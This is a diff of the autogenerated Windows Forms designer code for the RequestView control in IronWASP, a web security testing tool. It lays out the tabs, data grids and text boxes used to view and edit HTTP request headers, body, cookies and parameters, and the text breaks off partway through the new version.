this.BodyTypeFormatPluginXMLTab.TabIndex = 1; - this.BodyTypeFormatPluginXMLTab.Text = " - "; - this.BodyTypeFormatPluginXMLTab.UseVisualStyleBackColor = true; - // - // FormatXmlBaseSplit - // - this.FormatXmlBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.FormatXmlBaseSplit.Location = new System.Drawing.Point(0, 0); - this.FormatXmlBaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.FormatXmlBaseSplit.Name = "FormatXmlBaseSplit"; - // - // FormatXmlBaseSplit.Panel1 - // - this.FormatXmlBaseSplit.Panel1.Controls.Add(this.textBox2); - this.FormatXmlBaseSplit.Panel1.Controls.Add(this.ConvertXmlToObjectBtn); - // - // FormatXmlBaseSplit.Panel2 - // - this.FormatXmlBaseSplit.Panel2.Controls.Add(this.FormatXmlTBP); - this.FormatXmlBaseSplit.Size = new System.Drawing.Size(192, 74); - this.FormatXmlBaseSplit.SplitterDistance = 36; - this.FormatXmlBaseSplit.SplitterWidth = 2; - this.FormatXmlBaseSplit.TabIndex = 5; - // - // textBox2 - // - this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox2.Dock = System.Windows.Forms.DockStyle.Bottom; - this.textBox2.Location = new System.Drawing.Point(0, 7); - this.textBox2.Multiline = true; - this.textBox2.Name = "textBox2"; - this.textBox2.Size = new System.Drawing.Size(36, 67); - this.textBox2.TabIndex = 5; - this.textBox2.TabStop = false; - this.textBox2.Text = "You can edit this XML & update the changes to the Request body by clicking the ab" + - "ove button"; - // - // ConvertXmlToObjectBtn - // - this.ConvertXmlToObjectBtn.Dock = System.Windows.Forms.DockStyle.Top; - this.ConvertXmlToObjectBtn.Location = new System.Drawing.Point(0, 0); - this.ConvertXmlToObjectBtn.Name = "ConvertXmlToObjectBtn"; - this.ConvertXmlToObjectBtn.Size = new System.Drawing.Size(36, 41); - this.ConvertXmlToObjectBtn.TabIndex = 3; - this.ConvertXmlToObjectBtn.Text = "Convert this XML to object"; - this.ConvertXmlToObjectBtn.UseVisualStyleBackColor = true; - this.ConvertXmlToObjectBtn.Click += new System.EventHandler(this.ConvertXmlToObjectBtn_Click); - // - // FormatXmlTBP - // - this.FormatXmlTBP.Dock = System.Windows.Forms.DockStyle.Fill; - this.FormatXmlTBP.Location = new System.Drawing.Point(0, 0); - this.FormatXmlTBP.Name = "FormatXmlTBP"; - this.FormatXmlTBP.ReadOnly = false; - this.FormatXmlTBP.Size = new System.Drawing.Size(154, 74); - this.FormatXmlTBP.TabIndex = 4; - this.FormatXmlTBP.ValueChanged += new IronWASP.TextBoxPlus.ValueChangedEvent(this.FormatXmlTBP_ValueChanged); - // - // CookieParametersTab - // - this.CookieParametersTab.Controls.Add(this.CookieParametersGrid); - this.CookieParametersTab.Location = new System.Drawing.Point(4, 22); - this.CookieParametersTab.Name = "CookieParametersTab"; - this.CookieParametersTab.Size = new System.Drawing.Size(674, 162); - this.CookieParametersTab.TabIndex = 8; - this.CookieParametersTab.Text = " Cookie "; - this.CookieParametersTab.UseVisualStyleBackColor = true; - // - // CookieParametersGrid - // - this.CookieParametersGrid.AllowUserToAddRows = false; - this.CookieParametersGrid.AllowUserToDeleteRows = false; - this.CookieParametersGrid.AllowUserToResizeRows = false; - this.CookieParametersGrid.BackgroundColor = System.Drawing.Color.White; - this.CookieParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.CookieParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.CookieParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewTextBoxColumn11, - this.dataGridViewTextBoxColumn12, - this.dataGridViewImageColumn2}); - this.CookieParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.CookieParametersGrid.GridColor = System.Drawing.Color.White; - this.CookieParametersGrid.Location = new System.Drawing.Point(0, 0); - this.CookieParametersGrid.Margin = new System.Windows.Forms.Padding(0); - this.CookieParametersGrid.Name = "CookieParametersGrid"; - this.CookieParametersGrid.RowHeadersVisible = false; - this.CookieParametersGrid.Size = new System.Drawing.Size(674, 162); - this.CookieParametersGrid.TabIndex = 1; - this.CookieParametersGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.CookieParametersGrid_CellClick); - this.CookieParametersGrid.CellValueChanged += new System.Windows.Forms.DataGridViewCellEventHandler(this.CookieParametersGrid_CellValueChanged); - // - // HeadersParametersTab - // - this.HeadersParametersTab.Controls.Add(this.HeadersParametersGrid); - this.HeadersParametersTab.Location = new System.Drawing.Point(4, 22); - this.HeadersParametersTab.Name = "HeadersParametersTab"; - this.HeadersParametersTab.Size = new System.Drawing.Size(674, 162); - this.HeadersParametersTab.TabIndex = 9; - this.HeadersParametersTab.Text = " Headers "; - this.HeadersParametersTab.UseVisualStyleBackColor = true; - // - // HeadersParametersGrid - // - this.HeadersParametersGrid.AllowUserToAddRows = false; - this.HeadersParametersGrid.AllowUserToDeleteRows = false; - this.HeadersParametersGrid.AllowUserToResizeRows = false; - this.HeadersParametersGrid.BackgroundColor = System.Drawing.Color.White; - this.HeadersParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.HeadersParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.HeadersParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewTextBoxColumn13, - this.dataGridViewTextBoxColumn14, - this.dataGridViewImageColumn3}); - this.HeadersParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.HeadersParametersGrid.GridColor = System.Drawing.Color.White; - this.HeadersParametersGrid.Location = new System.Drawing.Point(0, 0); - this.HeadersParametersGrid.Margin = new System.Windows.Forms.Padding(0); - this.HeadersParametersGrid.Name = "HeadersParametersGrid"; - this.HeadersParametersGrid.RowHeadersVisible = false; - this.HeadersParametersGrid.Size = new System.Drawing.Size(674, 162); - this.HeadersParametersGrid.TabIndex = 1; - this.HeadersParametersGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.HeadersParametersGrid_CellClick); - this.HeadersParametersGrid.CellValueChanged += new System.Windows.Forms.DataGridViewCellEventHandler(this.HeadersParametersGrid_CellValueChanged); - // - // HelpTab - // - this.HelpTab.Controls.Add(this.HelpTB); - this.HelpTab.Location = new System.Drawing.Point(4, 22); - this.HelpTab.Name = "HelpTab"; - this.HelpTab.Size = new System.Drawing.Size(674, 162); - this.HelpTab.TabIndex = 5; - this.HelpTab.Text = " Help "; - this.HelpTab.UseVisualStyleBackColor = true; - // - // HelpTB - // - this.HelpTB.BackColor = System.Drawing.Color.White; - this.HelpTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.HelpTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.HelpTB.Location = new System.Drawing.Point(0, 0); - this.HelpTB.Multiline = true; - this.HelpTB.Name = "HelpTB"; - this.HelpTB.ReadOnly = true; - this.HelpTB.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.HelpTB.Size = new System.Drawing.Size(674, 162); - this.HelpTB.TabIndex = 0; - this.HelpTB.TabStop = false; - this.HelpTB.Text = resources.GetString("HelpTB.Text"); - // - // EditingTab - // - this.EditingTab.Controls.Add(this.SaveEditsLbl); - this.EditingTab.Controls.Add(this.EditTBP); - this.EditingTab.Location = new System.Drawing.Point(4, 22); - this.EditingTab.Name = "EditingTab"; - this.EditingTab.Size = new System.Drawing.Size(674, 162); - this.EditingTab.TabIndex = 10; - this.EditingTab.Text = " "; - this.EditingTab.UseVisualStyleBackColor = true; - // - // SaveEditsLbl - // - this.SaveEditsLbl.AutoSize = true; - this.SaveEditsLbl.Location = new System.Drawing.Point(4, 2); - this.SaveEditsLbl.Name = "SaveEditsLbl"; - this.SaveEditsLbl.Size = new System.Drawing.Size(77, 13); - this.SaveEditsLbl.TabIndex = 10; - this.SaveEditsLbl.TabStop = true; - this.SaveEditsLbl.Text = "Save Changes"; - this.SaveEditsLbl.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.SaveEditsLbl_LinkClicked); - // - // EditTBP - // - this.EditTBP.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.EditTBP.Location = new System.Drawing.Point(-1, 17); - this.EditTBP.Margin = new System.Windows.Forms.Padding(0); - this.EditTBP.Name = "EditTBP"; - this.EditTBP.ReadOnly = false; - this.EditTBP.Size = new System.Drawing.Size(674, 145); - this.EditTBP.TabIndex = 1; - // - // UseSSLCB - // - this.UseSSLCB.AutoSize = true; - this.UseSSLCB.Location = new System.Drawing.Point(3, 3); - this.UseSSLCB.Name = "UseSSLCB"; - this.UseSSLCB.Size = new System.Drawing.Size(89, 17); - this.UseSSLCB.TabIndex = 2; - this.UseSSLCB.Text = "SSL Request"; - this.UseSSLCB.UseVisualStyleBackColor = true; - this.UseSSLCB.CheckedChanged += new System.EventHandler(this.UseSSLCB_CheckedChanged); - // - // WaitProgressBar - // - this.WaitProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.WaitProgressBar.Location = new System.Drawing.Point(564, 3); - this.WaitProgressBar.MarqueeAnimationSpeed = 10; - this.WaitProgressBar.Name = "WaitProgressBar"; - this.WaitProgressBar.Size = new System.Drawing.Size(114, 13); - this.WaitProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; - this.WaitProgressBar.TabIndex = 3; - this.WaitProgressBar.Visible = false; - // - // StatusAndErrorTB - // - this.StatusAndErrorTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.StatusAndErrorTB.BackColor = System.Drawing.Color.White; - this.StatusAndErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.StatusAndErrorTB.Location = new System.Drawing.Point(102, 3); - this.StatusAndErrorTB.Name = "StatusAndErrorTB"; - this.StatusAndErrorTB.ReadOnly = true; - this.StatusAndErrorTB.Size = new System.Drawing.Size(456, 13); - this.StatusAndErrorTB.TabIndex = 4; - this.StatusAndErrorTB.Visible = false; - // - // dataGridViewTextBoxColumn1 - // - this.dataGridViewTextBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn1.HeaderText = "POSITION"; - this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; - this.dataGridViewTextBoxColumn1.ReadOnly = true; - // - // dataGridViewTextBoxColumn2 - // - this.dataGridViewTextBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn2.HeaderText = "VALUE"; - this.dataGridViewTextBoxColumn2.Name = "dataGridViewTextBoxColumn2"; - // - // Column2 - // - this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.Column2.HeaderText = ""; - this.Column2.MinimumWidth = 20; - this.Column2.Name = "Column2"; - this.Column2.Width = 20; - // - // dataGridViewTextBoxColumn11 - // - this.dataGridViewTextBoxColumn11.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn11.HeaderText = "NAME"; - this.dataGridViewTextBoxColumn11.Name = "dataGridViewTextBoxColumn11"; - this.dataGridViewTextBoxColumn11.ReadOnly = true; - // - // dataGridViewTextBoxColumn12 - // - this.dataGridViewTextBoxColumn12.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn12.HeaderText = "VALUE"; - this.dataGridViewTextBoxColumn12.Name = "dataGridViewTextBoxColumn12"; - // - // dataGridViewImageColumn2 - // - this.dataGridViewImageColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewImageColumn2.HeaderText = ""; - this.dataGridViewImageColumn2.MinimumWidth = 20; - this.dataGridViewImageColumn2.Name = "dataGridViewImageColumn2"; - this.dataGridViewImageColumn2.Width = 20; - // - // dataGridViewTextBoxColumn7 - // - this.dataGridViewTextBoxColumn7.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn7.HeaderText = "NAME"; - this.dataGridViewTextBoxColumn7.Name = "dataGridViewTextBoxColumn7"; - this.dataGridViewTextBoxColumn7.ReadOnly = true; - // - // dataGridViewTextBoxColumn8 - // - this.dataGridViewTextBoxColumn8.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn8.HeaderText = "VALUE"; - this.dataGridViewTextBoxColumn8.Name = "dataGridViewTextBoxColumn8"; - // - // dataGridViewImageColumn1 - // - this.dataGridViewImageColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewImageColumn1.HeaderText = ""; - this.dataGridViewImageColumn1.MinimumWidth = 20; - this.dataGridViewImageColumn1.Name = "dataGridViewImageColumn1"; - this.dataGridViewImageColumn1.Width = 20; - // - // dataGridViewTextBoxColumn13 - // - this.dataGridViewTextBoxColumn13.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn13.HeaderText = "NAME"; - this.dataGridViewTextBoxColumn13.Name = "dataGridViewTextBoxColumn13"; - this.dataGridViewTextBoxColumn13.ReadOnly = true; - // - // dataGridViewTextBoxColumn14 - // - this.dataGridViewTextBoxColumn14.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn14.HeaderText = "VALUE"; - this.dataGridViewTextBoxColumn14.Name = "dataGridViewTextBoxColumn14"; - // - // dataGridViewImageColumn3 - // - this.dataGridViewImageColumn3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewImageColumn3.HeaderText = ""; - this.dataGridViewImageColumn3.MinimumWidth = 20; - this.dataGridViewImageColumn3.Name = "dataGridViewImageColumn3"; - this.dataGridViewImageColumn3.Width = 20; - // - // RequestView - // - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; - this.BackColor = System.Drawing.Color.White; - this.Controls.Add(this.StatusAndErrorTB); - this.Controls.Add(this.WaitProgressBar); - this.Controls.Add(this.UseSSLCB); - this.Controls.Add(this.BaseTabs); - this.Name = "RequestView"; - this.Size = new System.Drawing.Size(682, 208); - this.Load += new System.EventHandler(this.RequestView_Load); - this.BaseTabs.ResumeLayout(false); - this.HeadersTab.ResumeLayout(false); - this.BodyTab.ResumeLayout(false); - this.UrlPathPartsParametersTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.UrlPathPartsParametersGrid)).EndInit(); - this.QueryParametersTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.QueryParametersGrid)).EndInit(); - this.BodyParametersTab.ResumeLayout(false); - this.BodyParametersTab.PerformLayout(); - this.BodyTabSplit.Panel1.ResumeLayout(false); - this.BodyTabSplit.Panel2.ResumeLayout(false); - this.BodyTabSplit.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.FormatPluginsGrid)).EndInit(); - this.ScanBodyTabs.ResumeLayout(false); - this.BodyTypeFormatPluginInjectionArrayGridTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.BodyParametersGrid)).EndInit(); - this.BodyTypeFormatPluginXMLTab.ResumeLayout(false); - this.FormatXmlBaseSplit.Panel1.ResumeLayout(false); - this.FormatXmlBaseSplit.Panel1.PerformLayout(); - this.FormatXmlBaseSplit.Panel2.ResumeLayout(false); - this.FormatXmlBaseSplit.ResumeLayout(false); - this.CookieParametersTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.CookieParametersGrid)).EndInit(); - this.HeadersParametersTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.HeadersParametersGrid)).EndInit(); - this.HelpTab.ResumeLayout(false); - this.HelpTab.PerformLayout(); - this.EditingTab.ResumeLayout(false); - this.EditingTab.PerformLayout(); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.TabControl BaseTabs; - private System.Windows.Forms.TabPage HeadersTab; - private System.Windows.Forms.TabPage BodyTab; - internal System.Windows.Forms.DataGridView QueryParametersGrid; - internal System.Windows.Forms.DataGridView CookieParametersGrid; - internal System.Windows.Forms.DataGridView HeadersParametersGrid; - private TextBoxPlus HeadersTBP; - internal System.Windows.Forms.DataGridView UrlPathPartsParametersGrid; - private TextBoxPlus BodyTBP; - private System.Windows.Forms.TabPage BodyParametersTab; - private System.Windows.Forms.SplitContainer BodyTabSplit; - internal System.Windows.Forms.DataGridView FormatPluginsGrid; - internal System.Windows.Forms.TabControl ScanBodyTabs; - private System.Windows.Forms.TabPage BodyTypeFormatPluginInjectionArrayGridTab; - internal System.Windows.Forms.DataGridView BodyParametersGrid; - private System.Windows.Forms.TabPage BodyTypeFormatPluginXMLTab; - private TextBoxPlus FormatXmlTBP; - private System.Windows.Forms.Button ConvertXmlToObjectBtn; - private System.Windows.Forms.CheckBox UseSSLCB; - private System.Windows.Forms.ProgressBar WaitProgressBar; - private System.Windows.Forms.TextBox StatusAndErrorTB; - private System.Windows.Forms.SplitContainer FormatXmlBaseSplit; - private System.Windows.Forms.TextBox textBox2; - private System.Windows.Forms.TabPage HelpTab; - private System.Windows.Forms.TextBox HelpTB; - private System.Windows.Forms.TabPage UrlPathPartsParametersTab; - private System.Windows.Forms.TabPage QueryParametersTab; - private System.Windows.Forms.TabPage CookieParametersTab; - private System.Windows.Forms.TabPage HeadersParametersTab; - private System.Windows.Forms.LinkLabel BodyFormatLbl; - private System.Windows.Forms.DataGridViewCheckBoxColumn FormatPluginSelectColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn FormatPluginNameColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn3; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn4; - private System.Windows.Forms.DataGridViewImageColumn Column1; - private System.Windows.Forms.TabPage EditingTab; - private TextBoxPlus EditTBP; - private System.Windows.Forms.LinkLabel SaveEditsLbl; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn2; - private System.Windows.Forms.DataGridViewImageColumn Column2; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn7; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn8; - private System.Windows.Forms.DataGridViewImageColumn dataGridViewImageColumn1; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn11; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn12; - private System.Windows.Forms.DataGridViewImageColumn dataGridViewImageColumn2; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn13; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn14; - private System.Windows.Forms.DataGridViewImageColumn dataGridViewImageColumn3; - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class RequestView + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(RequestView)); + this.BaseTabs = new System.Windows.Forms.TabControl(); + this.HeadersTab = new System.Windows.Forms.TabPage(); + this.HeadersTBP = new IronWASP.TextBoxPlus(); + this.BodyTab = new System.Windows.Forms.TabPage(); + this.BodyEmptyLbl = new System.Windows.Forms.Label(); + this.BodyTBP = new IronWASP.TextBoxPlus(); + this.UrlPathPartsParametersTab = new System.Windows.Forms.TabPage(); + this.UrlPathPartsEmptyLbl = new System.Windows.Forms.Label(); + this.UrlPathPartsParametersGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column2 = new System.Windows.Forms.DataGridViewImageColumn(); + this.QueryParametersTab = new System.Windows.Forms.TabPage(); + this.QueryParamEmptyLbl = new System.Windows.Forms.Label(); + this.QueryParametersGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn7 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn8 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewImageColumn1 = new System.Windows.Forms.DataGridViewImageColumn(); + this.BodyParametersTab = new System.Windows.Forms.TabPage(); + this.BodyParamEmptyLbl = new System.Windows.Forms.Label(); + this.BodyParamsPanel = new System.Windows.Forms.Panel(); + this.BodyTabSplit = new System.Windows.Forms.SplitContainer(); + this.FormatPluginsGrid = new System.Windows.Forms.DataGridView(); + this.FormatPluginSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.FormatPluginNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanBodyTabs = new System.Windows.Forms.TabControl(); + this.BodyTypeFormatPluginInjectionArrayGridTab = new System.Windows.Forms.TabPage(); + this.BodyParametersGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column1 = new System.Windows.Forms.DataGridViewImageColumn(); + this.Column3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.BodyTypeFormatPluginXMLTab = new System.Windows.Forms.TabPage(); + this.FormatXmlBaseSplit = new System.Windows.Forms.SplitContainer(); + this.textBox2 = new System.Windows.Forms.TextBox(); + this.ConvertXmlToObjectBtn = new System.Windows.Forms.Button(); + this.FormatXmlTBP = new IronWASP.TextBoxPlus(); + this.BodyFormatLbl = new System.Windows.Forms.LinkLabel(); + this.CookieParametersTab = new System.Windows.Forms.TabPage(); + this.CookieParamEmptyLbl = new System.Windows.Forms.Label(); + this.CookieParametersGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn11 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn12 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewImageColumn2 = new System.Windows.Forms.DataGridViewImageColumn(); + this.HeadersParametersTab = new System.Windows.Forms.TabPage(); + this.HeaderParamEmptyLbl = new System.Windows.Forms.Label(); + this.HeadersParametersGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn13 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn14 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewImageColumn3 = new System.Windows.Forms.DataGridViewImageColumn(); + this.HelpTab = new System.Windows.Forms.TabPage(); + this.HelpTB = new System.Windows.Forms.TextBox(); + this.EditingTab = new System.Windows.Forms.TabPage(); + this.SaveEditsLbl = new System.Windows.Forms.LinkLabel(); + this.EditTBP = new IronWASP.TextBoxPlus(); + this.UseSSLCB = new System.Windows.Forms.CheckBox(); + this.WaitProgressBar = new System.Windows.Forms.ProgressBar(); + this.StatusAndErrorTB = new System.Windows.Forms.TextBox(); + this.BodyAddLL = new System.Windows.Forms.LinkLabel(); + this.BaseTabs.SuspendLayout(); + this.HeadersTab.SuspendLayout(); + this.BodyTab.SuspendLayout(); + this.UrlPathPartsParametersTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.UrlPathPartsParametersGrid)).BeginInit(); + this.QueryParametersTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.QueryParametersGrid)).BeginInit(); + this.BodyParametersTab.SuspendLayout(); + this.BodyParamsPanel.SuspendLayout(); + this.BodyTabSplit.Panel1.SuspendLayout(); + this.BodyTabSplit.Panel2.SuspendLayout(); + this.BodyTabSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.FormatPluginsGrid)).BeginInit(); + this.ScanBodyTabs.SuspendLayout(); + this.BodyTypeFormatPluginInjectionArrayGridTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.BodyParametersGrid)).BeginInit(); + this.BodyTypeFormatPluginXMLTab.SuspendLayout(); + this.FormatXmlBaseSplit.Panel1.SuspendLayout(); + this.FormatXmlBaseSplit.Panel2.SuspendLayout(); + this.FormatXmlBaseSplit.SuspendLayout(); + this.CookieParametersTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.CookieParametersGrid)).BeginInit(); + this.HeadersParametersTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.HeadersParametersGrid)).BeginInit(); + this.HelpTab.SuspendLayout(); + this.EditingTab.SuspendLayout(); + this.SuspendLayout(); + // + // BaseTabs + // + this.BaseTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.BaseTabs.Controls.Add(this.HeadersTab); + this.BaseTabs.Controls.Add(this.BodyTab); + this.BaseTabs.Controls.Add(this.UrlPathPartsParametersTab); + this.BaseTabs.Controls.Add(this.QueryParametersTab); + this.BaseTabs.Controls.Add(this.BodyParametersTab); + this.BaseTabs.Controls.Add(this.CookieParametersTab); + this.BaseTabs.Controls.Add(this.HeadersParametersTab); + this.BaseTabs.Controls.Add(this.HelpTab); + this.BaseTabs.Controls.Add(this.EditingTab); + this.BaseTabs.Location = new System.Drawing.Point(0, 20); + this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.BaseTabs.Name = "BaseTabs"; + this.BaseTabs.Padding = new System.Drawing.Point(0, 0); + this.BaseTabs.SelectedIndex = 0; + this.BaseTabs.Size = new System.Drawing.Size(682, 188); + this.BaseTabs.TabIndex = 1; + this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); + this.BaseTabs.Deselecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Deselecting); + // + // HeadersTab + // + this.HeadersTab.Controls.Add(this.HeadersTBP); + this.HeadersTab.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.HeadersTab.Location = new System.Drawing.Point(4, 22); + this.HeadersTab.Margin = new System.Windows.Forms.Padding(0); + this.HeadersTab.Name = "HeadersTab"; + this.HeadersTab.Size = new System.Drawing.Size(674, 162); + this.HeadersTab.TabIndex = 0; + this.HeadersTab.Text = " Raw Headers "; + this.HeadersTab.UseVisualStyleBackColor = true; + // + // HeadersTBP + // + this.HeadersTBP.Dock = System.Windows.Forms.DockStyle.Fill; + this.HeadersTBP.Location = new System.Drawing.Point(0, 0); + this.HeadersTBP.Margin = new System.Windows.Forms.Padding(0); + this.HeadersTBP.Name = "HeadersTBP"; + this.HeadersTBP.ReadOnly = false; + this.HeadersTBP.Size = new System.Drawing.Size(674, 162); + this.HeadersTBP.TabIndex = 0; + this.HeadersTBP.ValueChanged += new IronWASP.TextBoxPlus.ValueChangedEvent(this.HeadersTBP_ValueChanged); + // + // BodyTab + // + this.BodyTab.Controls.Add(this.BodyAddLL); + this.BodyTab.Controls.Add(this.BodyEmptyLbl); + this.BodyTab.Controls.Add(this.BodyTBP); + this.BodyTab.Location = new System.Drawing.Point(4, 22); + this.BodyTab.Name = "BodyTab"; + this.BodyTab.Size = new System.Drawing.Size(674, 162); + this.BodyTab.TabIndex = 3; + this.BodyTab.Text = " Raw Body "; + this.BodyTab.UseVisualStyleBackColor = true; + // + // BodyEmptyLbl + // + this.BodyEmptyLbl.AutoSize = true; + this.BodyEmptyLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.BodyEmptyLbl.ForeColor = System.Drawing.Color.Blue; + this.BodyEmptyLbl.Location = new System.Drawing.Point(12, 21); + this.BodyEmptyLbl.Name = "BodyEmptyLbl"; + this.BodyEmptyLbl.Size = new System.Drawing.Size(290, 24); + this.BodyEmptyLbl.TabIndex = 1; + this.BodyEmptyLbl.Text = "This Request has an empty body."; + this.BodyEmptyLbl.Visible = false; + // + // BodyTBP + // + this.BodyTBP.Dock = 